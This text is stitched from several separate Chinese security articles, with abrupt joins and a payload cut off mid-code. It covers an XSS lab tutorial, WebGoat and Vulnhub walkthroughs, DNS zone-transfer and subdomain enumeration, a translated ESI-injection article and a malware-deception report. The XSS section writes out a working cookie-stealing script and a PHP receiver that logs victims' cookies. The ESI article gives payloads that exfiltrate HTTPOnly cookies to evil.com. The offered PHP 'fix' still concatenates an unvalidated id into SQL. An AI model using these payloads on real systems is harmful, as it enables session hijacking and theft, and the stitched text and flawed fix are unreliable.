}else if(unicode >= 0x800 && unicode <= 0xFFFF){//UTF-8 3byte
binaryArray = binaryArray.concat(_toUTF8Binary(3 , _tmpBinary));
}else if(unicode >= 0x10000 && unicode <= 0x1FFFFF){//UTF-8 4byte
binaryArray = binaryArray.concat(_toUTF8Binary(4 , _tmpBinary));
}else if(unicode >= 0x200000 && unicode <= 0x3FFFFFF){//UTF-8 5byte
binaryArray = binaryArray.concat(_toUTF8Binary(5 , _tmpBinary));
}else if(unicode >= 4000000 && unicode <= 0x7FFFFFFF){//UTF-8 6byte
binaryArray = binaryArray.concat(_toUTF8Binary(6 , _tmpBinary));
}
}
var extra_Zero_Count = 0;
for(var i = 0 , len = binaryArray.length ; i < len ; i+=6){
var diff = (i+6)-len;
if(diff == 2){
extra_Zero_Count = 2;
}else if(diff == 4){
extra_Zero_Count = 4;
}
//if(extra_Zero_Count > 0){
// len += extra_Zero_Count+1;
//}
var _tmpExtra_Zero_Count = extra_Zero_Count;
while(--_tmpExtra_Zero_Count >= 0){
binaryArray.push(0);
}
base64_Index.push(_toDecimal(binaryArray.slice(i , i+6)));
}
var base64 = '';
for(var i = 0 , len = base64_Index.length ; i < len ; ++i){
base64 += BASE64_MAPPING[base64_Index[i]];
}
for(var i = 0 , len = extra_Zero_Count/2 ; i < len ; ++i){
base64 += '=';
}
return base64;
},
/**
*BASE64 Decode for UTF-8
*/
decoder : function(_base64Str){
var _len = _base64Str.length;
var extra_Zero_Count = 0;
/**
*计算在进行BASE64编码的时候，补了几个0
*/
if(_base64Str.charAt(_len-1) == '='){
//alert(_base64Str.charAt(_len-1));
//alert(_base64Str.charAt(_len-2));
if(_base64Str.charAt(_len-2) == '='){//两个等号说明补了4个0
extra_Zero_Count = 4;
_base64Str = _base64Str.substring(0 , _len-2);
}else{//一个等号说明补了2个0
extra_Zero_Count = 2;
_base64Str = _base64Str.substring(0 , _len - 1);
}
}
var binaryArray = [];
for(var i = 0 , len = _base64Str.length; i < len ; ++i){
var c = _base64Str.charAt(i);
for(var j = 0 , size = BASE64_MAPPING.length ; j < size ; ++j){
if(c == BASE64_MAPPING[j]){
var _tmp = _toBinary(j);
/*不足6位的补0*/
var _tmpLen = _tmp.length;
if(6-_tmpLen > 0){
for(var k = 6-_tmpLen ; k > 0 ; --k){
_tmp.unshift(0);
}
}
binaryArray = binaryArray.concat(_tmp);
break;
}
}
}
if(extra_Zero_Count > 0){
binaryArray = binaryArray.slice(0 , binaryArray.length - extra_Zero_Count);
}
var unicode = [];
var unicodeBinary = [];
for(var i = 0 , len = binaryArray.length ; i < len ; ){
if(binaryArray[i] == 0){
unicode=unicode.concat(_toDecimal(binaryArray.slice(i,i+8)));
i += 8;
}else{
var sum = 0;
while(i < len){
if(binaryArray[i] == 1){
++sum;
}else{
break;
}
++i;
}
unicodeBinary = unicodeBinary.concat(binaryArray.slice(i+1 , i+8-sum));
i += 8 - sum;
while(sum > 1){
unicodeBinary = unicodeBinary.concat(binaryArray.slice(i+2 , i+8));
i += 8;
--sum;
}
unicode = unicode.concat(_toDecimal(unicodeBinary));
unicodeBinary = [];
}
}
return unicode;
}
};
window.BASE64 = __BASE64;
})();
## 2.4 简易xss平台搭建
JS脚本
var img = document.createElement("img");
img.src = "http://xxx/x.php?cookie="+document.cookie;
document.body.appendChild(img);
接收端
<?php
$victim = 'XXS得到的 cookie:'. $_SERVER['REMOTE_ADDR']. ':' .$_GET['cookie']."\r\n\r\n";
echo htmlspecialchars($_GET['cookie']);
$myfile = fopen("/aixi/XSS/xss_victim.txt", "a");
fwrite($myfile, $victim);
?>
## 2.5 WebGoat 简介
WebGoat是OWASP组织研制出的用于进行web漏洞实验的Java靶场程序，用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上，当前提供的训练课程有30多个，其中包括：跨站点脚本攻击（XSS）、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open
Authentication失效、危险的HTML注释等等。
## 2.5.1 WebGoat 安装
https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M25/webgoat-server-8.0.0.M25.jar
https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M25/webwolf-8.0.0.M25.jar
默认是127.0.0.1 ，只能本机访问，需要更改
java -jar webgoat-server-8.0.0.M25.jar --server.address=0.0.0.0
需更新到最新的java版本
https://www.oracle.com/technetwork/java/javase/downloads/jdk12-downloads-5295953.html
安装java步骤省略，安装好了开始运行
访问<http://192.168.123.25:8080/WebGoat>
## 2.5.2 测试过程
## 2.5.2.1 XSS(DOM)
## 第一个
攻击语句`<script>alert(document.cookie)</script>`
## 第二个
去找js脚本看里面的内容。
输入
**start.mvc#test/**
## 第三个
结合上一个题的东西路径+基本参数构成
攻击语句`start.mvc##test/<script>alert(document.cookie)`,经过测试发现如果输入`<script>`他会自己补全，所以就不用输入`</script>`
## 2.5.2.2 XSS(Stored)
攻击代码`<script>alert(document.cookie)</script>`，直接留言板插入即可没有过滤
1. 真实实战演练
## 3.1 Vulnhub 简介
Vulnhub是一个提供各种漏洞环境的靶场平台，供安全爱好者学习渗透使用，大部分环境是做好的虚拟机镜像文件，镜像预先设计了多种漏洞，需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标。
## 3.2 Vulnhub 安装
这里下载关于xss的(下载32位的，以后可以用来做溢出攻击)
https://download.vulnhub.com/pentesterlab/xss_and_mysql_file_i386.iso
打开VMware经典模式挂上镜像一直下一步，选择桥接模式就能自动分配一个IP地址
安装成功
## 3.3 Vulnhub 漏洞介绍
本练习说明如何使用跨站点脚本漏洞来访问管理员的cookie。然后，您将如何使用他/她的会话来访问管理以查找SQL注入并使用它来获取代码执行。这个靶场主要是做一个xss反射
用户名admin 密码P4ssw0rd
## 3.4 Vulnhub 漏洞演示
直接点留言
成功，因为是真实环境，我们这里直接用xss平台搞
管理员查看留言板触发xss
即可成功冒充用户登录
## 3.5 Vulnhub 漏洞修复
对输入处进行实例化，是最有效最简单的方法，如果是替换代码，量就比较大
实例化classes/post.php
<?php
class Post{
public $id, $title, $text, $published;
function __construct($id, $title, $text, $published){
$this->title= $title;
$this->text = $text;
$this->published= $published;
$this->id = $id;
}
function all($cat=NULL,$order =NULL) {
$sql = "SELECT * FROM posts";
if (isset($order))
$sql .= "order by ".mysql_real_escape_string($order);
$results= mysql_query($sql);
$posts = Array();
if ($results) {
while ($row = mysql_fetch_assoc($results)) {
$posts[] = new Post($row['id'],$row['title'],$row['text'],$row['published']);
}
}
else {
echo mysql_error();
}
return $posts;
}
function render_all($pics) {
echo "<ul>\n";
foreach ($pics as $pic) {
echo "\t<li>".$pic->render()."</a></li>\n";
}
echo "</ul>\n";
}
function render_edit() {
$str = "<img src=\"uploads/".h($this->img)."\" alt=\"".h($this->title)."\" />";
return $str;
}
function render() {
$str = "<h2 class=\"title\"><a href=\"/post.php?id=".h($this->id)."\">".h($this->title)."</a></h2>";
$str.= '<div class="inner" align="center">';
$str.= "<p>".htmlentities($this->text)."</p></div>";
$str.= "<p><a href=\"/post.php?id=".h($this->id)."\">";
$count = $this->get_comments_count();
switch ($count) {
case 0:
$str.= "Be the first to comment";
break;
case 1:
$str.= "1 comment";
break;
case 2:
$str.= $count." comments";
break;
}
$str.= "</a></p>";
return $str;
}
function add_comment() {
$sql = "INSERT INTO comments (title,author, text, post_id) values ('";
$sql .= mysql_real_escape_string(htmlspecialchars($_POST["title"]))."','";
$sql .= mysql_real_escape_string(htmlspecialchars($_POST["author"]))."','";
$sql .= mysql_real_escape_string(htmlspecialchars($_POST["text"]))."',";
$sql .= intval($this->id).")";
$result = mysql_query($sql);
echo mysql_error();
}
function render_with_comments() {
$str = "<h2 class=\"title\"><a href=\"/post.php?id=".h($this->id)."\">".h($this->title)."</a></h2>";
$str.= '<div class="inner" style="padding-left: 40px;">';
$str.= "<p>".htmlentities($this->text)."</p></div>";
$str.= "\n\n<div class='comments'><h3>Comments: </h3>\n<ul>";
foreach ($this->get_comments() as $comment) {
$str.= "\n\t<li>".$comment->text."</li>";
}
$str.= "\n</ul></div>";
return $str;
}
function get_comments_count() {
if (!preg_match('/^[0-9]+$/', $this->id)) {
die("ERROR: INTEGER REQUIRED");
}
$comments = Array();
$result = mysql_query("SELECT count(*) as count FROM comments where post_id=".$this->id);
$row = mysql_fetch_assoc($result);
return $row['count'];
}
function get_comments() {
if (!preg_match('/^[0-9]+$/', $this->id)) {
die("ERROR: INTEGER REQUIRED");
}
$comments = Array();
$results = mysql_query("SELECT * FROM comments where post_id=".$this->id);
if (isset($results)){
while ($row = mysql_fetch_assoc($results)) {
$comments[] = Comment::from_row($row);
}
}
return $comments;
}
function find($id) {
$result = mysql_query("SELECT * FROM posts where id=".$id);
$row = mysql_fetch_assoc($result);
if (isset($row)){
$post = new Post($row['id'],$row['title'],$row['text'],$row['published']);
}
return $post;
}
function delete($id) {
if (!preg_match('/^[0-9]+$/', $id)) {
die("ERROR: INTEGER REQUIRED");
}
$result = mysql_query("DELETE FROM posts where id=".(int)$id);
}
function update($title, $text) {
$sql = "UPDATE posts SET title='";
$sql .= mysql_real_escape_string(htmlspecialchars($_POST["title"]))."',text='";
$sql .= mysql_real_escape_string(htmlspecialchars( $_POST["text"]))."' WHERE id=";
$sql .= intval($this->id);
$result = mysql_query($sql);
$this->title = $title;
$this->text = $text;
}
function create(){
$sql = "INSERT INTO posts (title, text) VALUES ('";
$title = mysql_real_escape_string(htmlspecialchars( $_POST["title"]));
$text = mysql_real_escape_string(htmlspecialchars( $_POST["text"]));
$sql .= $title."','".$text;
$sql.= "')";
$result = mysql_query($sql);
}
}
?>
实例化成功
# 4\. CMS实战演练
## 4.1 WordPress简介
WordPress于2003年开始使用一段代码来增强日常写作的印刷效果，用户数量少于您可以依靠手指和脚趾的数量。自那时起，它已成长为世界上最大的自主托管博客工具，在数百万个网站上使用，每天都有数千万人看到。
## 4.2 WordPress部署
下载4.1版本以下
https://cn.wordpress.org/wordpress-4.0.1-zh_CN.zip
使用phpstudy搭建WordPress
放到跟目录直接一把梭
## 4.3 安装
先创建一个数据库`create database wordpress;`
进行安装
安装成功
## 4.4 WordPress漏洞介绍
漏洞出现在wordpress的留言处，不过问题是由mysql的一个特性引起的。在mysql的utf8字符集中，一个字符由1~3个字节组成，对于大于3个字节的字符，mysql使用了utf8mb4的形式来存储。如果我们将一个utf8mb4字符插入到utf8编码的列中，那么在mysql的非strict
mode下，他的做法是将后面的内容截断。截断的话，就能绕过很多富文本过滤器了。比如，插入两个评论`<img
src=1`，和`onerror=alert(1)//`，这二者都不会触发某些富文本过滤器（因为前者并不含有白名单外的属性，后者并不是一个标签），但两个评论如果存在于同一个页面，就会拼接成一个完整的HTML标签，触发onerror事件。
## 4.5 WordPress漏洞演示
先把Mysql的strict mode关闭
my.ini
将其中的 sql-mode="STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"
修改为 sql-mode="NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"
攻击代码//P神博客的
```
<abbr title="qweqw
style=display:block;position:fixed;width:100%;height:100%;top:0;
onmouseover=alert(1)// | 社区文章 |
细化总结，包括DNS、证书和枚举工具的具体原理， **泛解析问题** 的解决和对抗策略，优秀的收集和 **监控** 子域名工具推荐等。
* * *
## DNS:
### DNS域传送漏洞
Windows下的漏洞利用如上图所示，图源网络。
### 深入了解DNS域传送漏洞
DNS区域传送(DNS
transfer)指后备DNS服务器从主服务器获取数据，以更新自己的zone数据库。这可以防止因主DNS服务器故障造成的业务中断，为DNS服务提供了冗余备份。但是许多DNS服务器却被错误配置成只要收到AXFR请求，就向对方进行域传送。
当存在这种错误配置时，攻击者就可以获取整个域的所有记录，造成整个网络架构泄露。正确的配置包括
> allow-transfer {ipaddress;}; 通过ip限制可进行域传送的服务器
>
> allow-transfer { key transfer; }; 通过key限制可进行域传送的服务器
Windows下对漏洞的利用归纳起来就是：
1. nslookup命令进入交互式shell
2. server命令 参数设定查询将要使用的DNS服务器
3. ls命令列出某个域中的所有域名
Linux下只需要一条dig命令，对DNS服务器尝试AXFR请求:
dig @1.1.1.1 0sec.com.cn axfr
Kali下可以使用dnswalk获取对象全部的DNS 解析记录信息，注意域名后有一个点:
除此之外nmap也有扫描的脚本：
nmap --script dns-zone-transfer --script-args dns-zone-trans
fer.domain=0sec.com.cn -p 53 -Pn dns30.hichina.com
最后来看两个以前乌云上的案例(镜像站)：
[顺丰某处DNS域传送漏洞](https://wooyun.x10sec.org/static/bugs/wooyun-2015-0118286.html)
[雷锋网DNS域传送漏洞一枚](https://wooyun.x10sec.org/static/bugs/wooyun-2013-038444.html)
### 枚举子域名并从DNS服务商查询:
从DNS获取子域名，当然也有这一种方法。就是枚举子域名，并从DNS服务器查找是否存在解析记录：
dig tools.0sec.com.cn
有人可能会想到，为什么不直接枚举后做http
request，然后查看响应码呢？我认为也可以，但是子域名可能存在未上线/拒绝访问/服务宕机/状态码无法判断/泛解析等一系列问题，所以相比之下还是查询解析记录更加直观。
**枚举子域名的方法会在下文提到** 。
## HTTPS证书
### 证书透明度
* [Google透明度报告中的证书透明度项目](https://transparencyreport.google.com/https/certificates)
### 证书信息
根据我的理解，从证书信息获取子域名有三种方法：
* 证书中的「使用者可选名称」字段值
* 通过Censys这种资产搜索引擎收集的证书信息：<https://censys.io/certificates?q=0sec.com.cn>
* 向域名A记录IP的443端口发送请求，获取证书支持的域名和子域名
## 自身泄露
* robots.txt
* crossdomain.xml(跨域策略文件cdx)
* 从流量中分析提取
* Github泄露
## 网络资产/网页 搜索引擎
* ZoomEye/Shodan/Censys/Fofa/
像Censys这样的网络空间资产搜索引擎，它的接口允许在证书中搜索关键字：
https://censys.io/certificates?q=0sec.com.cn
* 云悉资产
* Something like Google Hack： `site:0sec.com.cn`
## 枚举
* DNSPod公布的使用最多的子域名：[dnspod-top2000-sub-domains.txt](https://github.com/DNSPod/oh-my-free-data/blob/master/src/dnspod-top2000-sub-domains.txt)
* Hydra/Sublist3r/Subbrute/SubDomainBrute 枚举工具
其中Sublist3r作为常用的子域名枚举工具，它的子域名枚举来源也包括搜索引擎、crt.sh(类似Censys的证书关键字搜索)等。同时Sublist3r也使用了Subbrute，后者是通过字典进行枚举的。
## 域名泛解析问题
泛解析是对抗子域名挖掘的思路。
类似扫描器开发时，对404页面的处理方法，通过绝对不存在的子域名的页面返回，计算相似度。来看p0desta的文章：
[扫描器开发笔记-404页面识别](https://xz.aliyun.com/t/5509)
使用绝对不存在的页面时，需要判断多个DNS解析的IP，防止因为出口线路不同造成的泛解析误判。
## 优秀子域名收集(监控)工具推荐
* [OneForAll](https://github.com/shmilylty/OneForAll)
Python开发，通过证书/DNS/爬虫/威胁情报/搜索引擎 收集，支持子域名爆破(判断泛解析)和多线程调用等。
* [在线子域名自动化收集 by CYWL TEAM](https://d.chinacycc.com/)
* [Sublert：子域名监控工具](https://www.freebuf.com/sectool/198396.html)
监控证书，在VPS上搭建服务端后，可将新监控到的子域名推送到Slack工作区，实现发现新上线业务的功能，方便Bug bounty。
参考链接：
<https://feei.cn/esd>
<https://larry.ngrep.me/2015/09/02/DNS-zone-transfer-studying/>
<http://www.lijiejie.com/dns-zone-transfer-1/> | 社区文章 |
# ESI（Edge Side Include ）注入技术
##### 译文声明
本文是翻译文章，文章原作者 Louis Dion-Marcil，文章来源：gosecure.net
原文地址：<http://gosecure.net/2018/04/03/beyond-xss-edge-side-include-injection/>
译文仅供参考，具体内容表达以及含义原文为准。
## 滥用缓存服务器导致服务端请求伪造（SSRF）和客户端攻击
Edge Side Includes (ESI)
是一种标记语言，主要在常见的HTTP代理（反向代理、负载均衡、缓存服务器、代理服务器）中使用。通过ESI注入技术可以导致服务端请求伪造（SSRF），绕过HTTPOnly
cookie的跨站脚本攻击（XSS）以及服务端拒绝服务攻击。
通过测试，我们有发现几十种支持处理ESI的产品：Varnish，Squid Proxy，IBM WebSphere，Oracle Fusion /
WebLogic，Akamai，Fastly，F5，Node.js
ESI，LiteSpeed和一些特定语言插件，但并不是这些产品默认启用了ESI，在文章的下面会进一步讨论。
## Edge Side Includes (ESI)是什么?
ESI语言是基于XML标签的的标记语言，通过缓存大量的web内容缓解服务器性能压力，主要被用于流行的HTTP
代理解决方案中。ESI标签用于指示反向代理（缓存服务器）获取已经缓存好的模板的网页的更多信息。在客户端处理的这些信息很可能来自另一台服务器。
ESI技术一个常见的用例是处理包含动态内容的静态页面。通过使用ESI标签允许开发者替换页面中的动态部分增加缓存的灵活性。因此，当页面被请求时，ESI标签被代理处理并获取，从而确保后端应用服务器的性能。
下面这个图展示了ESI技术应用的一个典型示例，天气网站是缓存城市天气页面的内容。然后，其中的动态数据将根据各自的ESI标签替换，指向API端的URL。
ESI的语法相当简单。前面说到的例子中的HTML文件看起来像这样：
<body>
<b>The Weather Website</b>
Weather for <esi:include src="/weather/name?id=$(QUERY_STRING{city_id})" />
Monday: <esi:include src="/weather/week/monday?id=$(QUERY_STRING{city_id})" />
Tuesday: <esi:include src="/weather/week/tuesday?id=$(QUERY_STRING{city_id})" />
[…]
最初的ESI规范可以追溯到2001年，每个供应商的实现也是不一样的。当然每个产品的功能也是不同的，其中某些产品缺失了一些功能，但在其他的产品上可以找到。如果你对最初的ESI规范感兴趣的话，可以访问这个链接
[ http://www.w3.org/TR/esi-lang](http://www.w3.org/TR/esi-lang.)
。它主要描述了标记语言的用法和常见的功能，包括Akamai和Oracle在内的多家供应商还在规范之外增加了其他功能。
## 问题出在哪里？
HTTP代理无法区分ESI标签是来自上游服务器的合法标签还是HTTP响应包中恶意注入的。也就是说，如果攻击者可以成功地注入在HTTP响应包中注入ESI标签，那么代理就是解析处理它们，认为这些ESI标签是来自上游服务器的合法标签。
ESI解析器在处理ESI标签的时候，处在`<`和`>`之间的字符不会被编码和转义。通常，Web应用服务器会转义一些用户可控的特殊字符以缓解XSS攻击。虽然可以有效的阻止通过代理解析后的返回的ESI标签。但有时候ESI标签可以注入到非HTML的HTTP响应中。现在ESI的新的功能允许开发人员将动态内容添加到其他的缓存和静态数据源，比如JSON对象和CSV。关于ESI+JSON对象的这种处理方式，更详细的教程可以访问
<https://www.fastly.com/blog/using-esi-part-1-simple-edge-side-include> 。
大多数场景下，攻击的媒介是后端服务器返回的ESI标签，然后通过负载均衡或者启用ESI的代理进行处理。显然，如果用户的输入时经过处理的，可以有效缓解XSS攻击，ESI标签会被编码不再会被代理处理解析。
## ESI注入带来哪些危害？
### 服务端请求伪造（SSRF）
ESI标签中最常用和有用的就是`includes`标记了。ESI中的`include`标签可以在代理或者负载均衡处理解析的时候通过HTTP请求获取动态内容。如果攻击者可以在HTTP响应包中添加ESI的`include`标签，那么就可以在代理服务器（不是应用服务器端）造成SSRF攻击。
如下的代码可以在HTTP代理上执行SSRF：
<esi:include src="http://evil.com/ping/" />
如果可以得到HTTP的回调，那么这个代理服务器就存在ESI注入。如下，ESI的实现方式不同，造成的影响也不一样，如果支持ESI的代理服务器不允许包含非白名单的主机，意味着你只能对当前这台代理服务器执行SSRF。下图是攻击者通过ESI注入执行SSRF攻击的示例图表。
1. 攻击者利用代理服务器执行ESI payload，试图让后端服务器将其返回在响应中
2. 代理服务器接收请求并将其转发给适当的后端服务器
3. 应用程序服务器在响应中返回ESI的payload，并将该响应发送给代理服务器
4. 代理服务器收到响应，解析检查是否存在任何ESI标签。代理服务器解析返回的ESI标签并执行对 _evil.com_ 的请求。
5. 代理服务器接收来自 _evil.com的_ 请求，并将其添加到来自后端服务器的初始响应中
6. 代理服务器将完整的响应发送回客户端
### 绕过客户端的XSS过滤器
客户端XSS过滤器通常通过将请求的输入与其响应进行比较来工作。当部分GET参数在HTTP响应中出现时，浏览器将启动一系列安全措施以确定是否存在潜在的XSS
payload 。
但是，Chrome的XSS保护不知道ESI标签，因为ESI标签不在客户端进行处理。通过执行一些ESI特性，可以将一部分XSS
payload分配给ESI引擎中的变量，然后将其执行返回。在ESI引擎完全发送响应数据给浏览器之前，ESI引擎将在服务器端构建出恶意JavaScript
payload 。这将绕过XSS过滤器，因为发送到服务器的输入不会按原样返回给浏览器，绕过了我们上面提到的检测机制。下面分析一个简单的payload：
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>
>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
在服务端的ESI变量中`<esi:assign>`可以存储任何的值，可以通过`$(variable_name)`的方式获取该变量的值，在这个例子中，
**var1** 存储的是`cript`，这个标签完整打印出来是一个有效的html标签`<script>`，那么上面的例子返回的内容便是：
<script>alert(/Chrome%20XSS%20filter%20bypass/);</script>
也有一些ESI的实现不支持ESI变量，因此无法通过这种方式利用。当 **include** 可用时，可以将它们指向外部域，可以简单地包含一个有XSS
payload的外部页面。以下示例描述了利用ESI **include** 的从SSRF到XSS攻击。
**poc.html**
<script>alert(1)</script>
然后，注入ESI标签，include 外部的XSS 页面
GET /index.php?msg=<esi:include src="http://evil.com/poc.html" />
通过SSRF的方式获取到poc.html页面的内容，然后将payload 添加到返回页面的dom中，造成XSS攻击。
#### 绕过HTTPOnly Cookie
按照设计，HTTP代理（如代理和负载均衡器）可以访问完整的HTTP请求和响应。这包括浏览器或服务器发送的所有cookie。ESI规范的一个有用功能是能够访问ESI标签内传输的cookie。这允许开发人员在ESI引擎中使用cookie，通过利用cookie给予开发人员更大的灵活性。
正是这个有用的功能提供一个重要的攻击媒介： **cookie外带** （ _cookie exfiltration_
）通过JavaScript引擎对cookie进行窃取的一个已知策略是使用 ** _HTTPOnly_**
。它在创建Cookie时指定，将拒绝JavaScript引擎访问cookie及其值的能力，从而防止XSS攻击窃取cookie。由于ESI是在服务器端进行处理的，因此可以在从上游服务器到代理的过程中使用这些cookie。一个攻击媒介将使用ESI
include通过其URL来外带cookie。想象一下ESI引擎正在处理以下payload：
<esi:include src="http://evil.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
这时我们在evil.com主机的HTTP访问日志中就可以看到：
127.0.0.1 evil.com - [08/Mar/2018:15:20:44 - 0500] "GET /?cookie=bf2fa962b7889ed8869cadaba282 HTTP/1.1" 200 2 "-" "-"
这样， _HTTPOnly_ cookies可以在没有Javascript的情况下被窃取。
## 不同产品实现的差异
如前所述，不同供应商之间ESI实现的差异很大。功能集从一个产品到另一个产品是不同的，有些功能不以相同的方式实现。我们测试了一些产品，根据可用于ESI软件的攻击方式的不同制作了下表。
**Software** | **Includes** | **Vars** | **Cookies** | **Upstream** **Headers
Required** | **Host Whitelist**
---|---|---|---|---|---
Squid3 | Yes | Yes | Yes | Yes | No
Varnish Cache | Yes | No | No | Yes | Yes
Fastly | Yes | No | No | No | Yes
Akamai ESI Test Server (ETS) | Yes | Yes | Yes | No | No
NodeJS’ esi | Yes | Yes | Yes | No | No
NodeJS’ nodesi | Yes | No | No | No | Optional
表格的每一列说明：
**Includes**
`<esi:includes>`是否在ESI引擎中实现
**Vars**
`<esi:vars>` 是否在ESI引擎中实现
**Cookie**
cookies是否可以在ESI引擎中访问
**Upstream Headers Required**
ESI功能是否需要上游服务器的header。除非header由上游应用服务器提供，否则代理不会处理ESI语句。
**Host Whitelist**
ESI include的内容是否仅适用于白名单的服务器主机。如果是的话，ESI不能include白名单之外的主机，无法执行SSRF。
## 如何检测ESI？
一些产品会在 _Surrogate-Control_ HTTP
header中加入ESI处理的标志，方便识别。这个header被用于向上游服务器表明ESI标签可能出现在返回的响应内容中。如果看到如下所示的HTTP标头响应：`Surrogate-Control: content="ESI/1.0”`可能启用了ESI的基础架构。
但是，大多数代理和负载均衡在将其发送到客户端之前将从上游服务器移除header。一些代理也不需要任何 _Surrogate-Control header_
。因此，这不是确定ESI使用的明确方式。鉴于ESI实施中功能选择范围广泛，不能执行特有的测试来测试ESI注入。必须测试各种有效payload并观察响应才能正确识别ESI可注入点。例如，ESI
includes可以用来对攻击者控制的服务器执行SSRF，但是某些实现会要求主机在白名单中。
## 结论
今天，我们通过滥用开源和专有缓存服务中存在的ESI功能，演示了以前未公开的攻击媒介。我们解释了利用所需的条件和三个示例payload：Cookie泄露，SSRF和绕过客户端XSS过滤器。然后，详细介绍了一些不同产品的实现，使应用程序安全社区了解ESI的应用是如何分布的。我们希望这项研究能够作为一种灵感来进一步记录其他缓存产品的情况，并且为bug
hunters提供一个新的攻击媒介思路。
注：根据实际情况，译者并未一字一句全部翻译。如有错误，欢迎指出。 | 社区文章 |
# 2016中国电脑恶意程序伪装与欺骗性研究报告
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**文档下载链接：[](https://yunpan.cn/cE2yBgrwP4hn6)**[ **PDF**
****](https://yunpan.cn/cE4SgAnCQ4iLm) **、**[ **Word**
****](https://yunpan.cn/cE4Sg9Wv86tZh)
****发布日期：2017-01-03****
**研究背景**
由于免费安全软件在中国的高度普及，恶意程序的编写、制作门槛越来越高，恶意程序的传播也变得越来越困难。自2013年以来，中国一直是全球个人电脑恶意程序感染率最低的国家。
但是，在全网监测中，我们也发现了一种奇怪的现象：有相当数量的用户，即便看到了安全软件的风险提示，也仍然会手动选择信任并运行恶意程序。统计显示，2016年全年，360互联网安全中心共监测到用户手动放行恶意程序500余万次，涉及恶意程序样本3万余个，平均每个此类恶意程序样本可以成功攻击160余台普通个人电脑。此外，还有相当数量的用户会选择临时关闭安全软件后再运行恶意程序。
用户为何会无视风险提示，手动放行，甚至强行运行恶意程序呢？2016年12月，360互联网安全中心的安全专家们对这一问题展开了深入的研究。研究发现，这些被用户手动放行的恶意程序在制作手法和攻击技术等方面并没有什么特别之处，也没有采用什么新型技术，安全软件对其进行识别和拦截通常来说并不太困难；但同时，这些恶意程序却普遍采用了社会工程学的伪装方法，从程序名，程序功能和界面设计等多方面进行精心的伪装，极具欺骗性、迷惑性。
本次报告专门针对这些被用户手动放行的，具有强烈欺骗性的恶意程序（简称：欺骗性恶意程序）进行深入的抽样分析研究，希望能够借此帮助更多的用户提高安全意识，有效防范此类恶意攻击。
**第一章 欺骗性恶意程序综述**
**一、 欺骗性恶意程序伪装类型**
通过对3万余个被用户手动放行的恶意程序样本的抽样分析统计显示，这些带有强烈欺骗性的恶意程序最喜欢伪装的形式是游戏外挂，占比为31.7%。由于很多用户会误以为安全软件会对游戏外挂软件进行无条件的风险提示，所以往往在看到恶意程序提示建议首先关闭安全软件再进行安装时，就会选择相信恶意程序，而无视安全软件的风险提示。但实际上，安全软件之所以会对某些外挂软件提示风险，主要是因为这些软件会携带恶意代码，一旦运行，就会进行流氓推广或释放捆绑的其他木马程序。
除了游戏外挂之外，恶意程序最爱伪装的形式排名第二位和第三位分别是贪便宜软件和色情播放器，二者分别占比为19.9%和11.9%。贪便宜软件是指那些自称具有刷金币、刷流量、领话费，以及外挂抢红包等功能，可以帮助用户赚点小钱的软件。而色情播放器则是指那些专门可以联网播放很多色情视频的播放软件。这两类软件很多都存在诱骗用户充值或进行流氓推广的行为。
此外，破解软件、常用程序与文件、黑客工具等也是这些欺骗性恶意程序比较喜欢的伪装形式。总体来看，除了伪装成常用程序与文件的形式外，恶意程序伪装的其他主要形式，或多或少都有一定的黑色或灰色性质，这些软件即便是不含有任何恶意代码的正常软件，其实际性质也基本上属于违法软件。所以说，相信和尝试使用非法软件，是受害用户被这些恶意程序欺骗的主要原因。
**二、 欺骗性恶意程序攻击目的**
那么，这些经过精心伪装的欺骗性恶意程序一旦感染用户电脑后，会产生什么样的后果呢，这些程序攻击用户电脑的主要目的是什么呢？
抽样统计显示，流氓推广是欺骗性恶意程序攻击的首要目的，46.4%的欺骗性恶意程序会在用户电脑上进行流氓推广，它们通常会通过二次打包安装包等方式进行传播，不经用户允许便私自静默安装各类推广软件，造成用户计算机变慢，并引发各类安全隐患，同时也造成用户心理上的不适感。还有一些进行恶意推广的恶意程序会释放一些带有参数的浏览器快捷方式，这些快捷方式指向浏览器并带有推广链接，有些甚至会直接锁定用户浏览器主页。事实上，流氓推广也是欺骗性恶意程序作者最主要的盈利手段。
欺骗性恶意程序攻击目的排名第二位和第三位的分别是远程控制占比为18.2%，盗号占比为13.2%，还有钓鱼充值占比为9.7%，窃密和窃隐私类木马占比为3.9%。
还有特别值得注意的是，有2.8%的欺骗性恶意程序属于敲诈者病毒，它们的攻击方式非常特殊，是通过自动加密用户电脑文件的方式向用户索要解密赎金。国内敲诈者病毒勒索的赎金额度一般为2-3个比特币（现价约合人民币1万元-1.5万元）。特别的，被敲诈者病毒加密的文件，绝大多数是不可能通过技术手段进行解密的。因此，敲诈者病毒在本报告分析的欺骗性恶意程序中虽然占比很少，但攻击危害极大，用户一旦手动放行此类恶意程序，便会立即产生非常明显的直接经济损失。
**三、 伪装形式与攻击目的对比**
下图给出了不同伪装形式的欺骗性恶意程序的攻击目的对比情况。
可以看出，流氓推广在伪装成各种形式的恶意程序中占比都比较高，特别是在贪便宜软件中，占比高达52.2%，这就是最典型的贪小便宜吃大亏。
不过，不同的伪装形式和攻击目的之间也确实存在一些特殊的对应关系。
比如，在伪装成贪便宜软件和色情播放器的恶意程序中，钓鱼充值木马比较常见，占比分别达到了26.4%和35.1%。特别是伪装成色情播放器的恶意程序，常常会以各种暴露图片和色情视频吸引用户进行充值，但实际上用户无论充多少钱，都无法看到想看的视频，这种恶意程序是纯粹的欺诈软件。
再比如，在伪装成破解软件、常用程序与文件和黑客工具的恶意程序中，远控木马的占比都很高，都占到了20%以上。这也警示了我们：在您企图走捷径（游戏外挂），或者是企图用黑客技术操控他人（黑客工具）时，您也可能早已被别人盯上，成为被别人控制的对象。
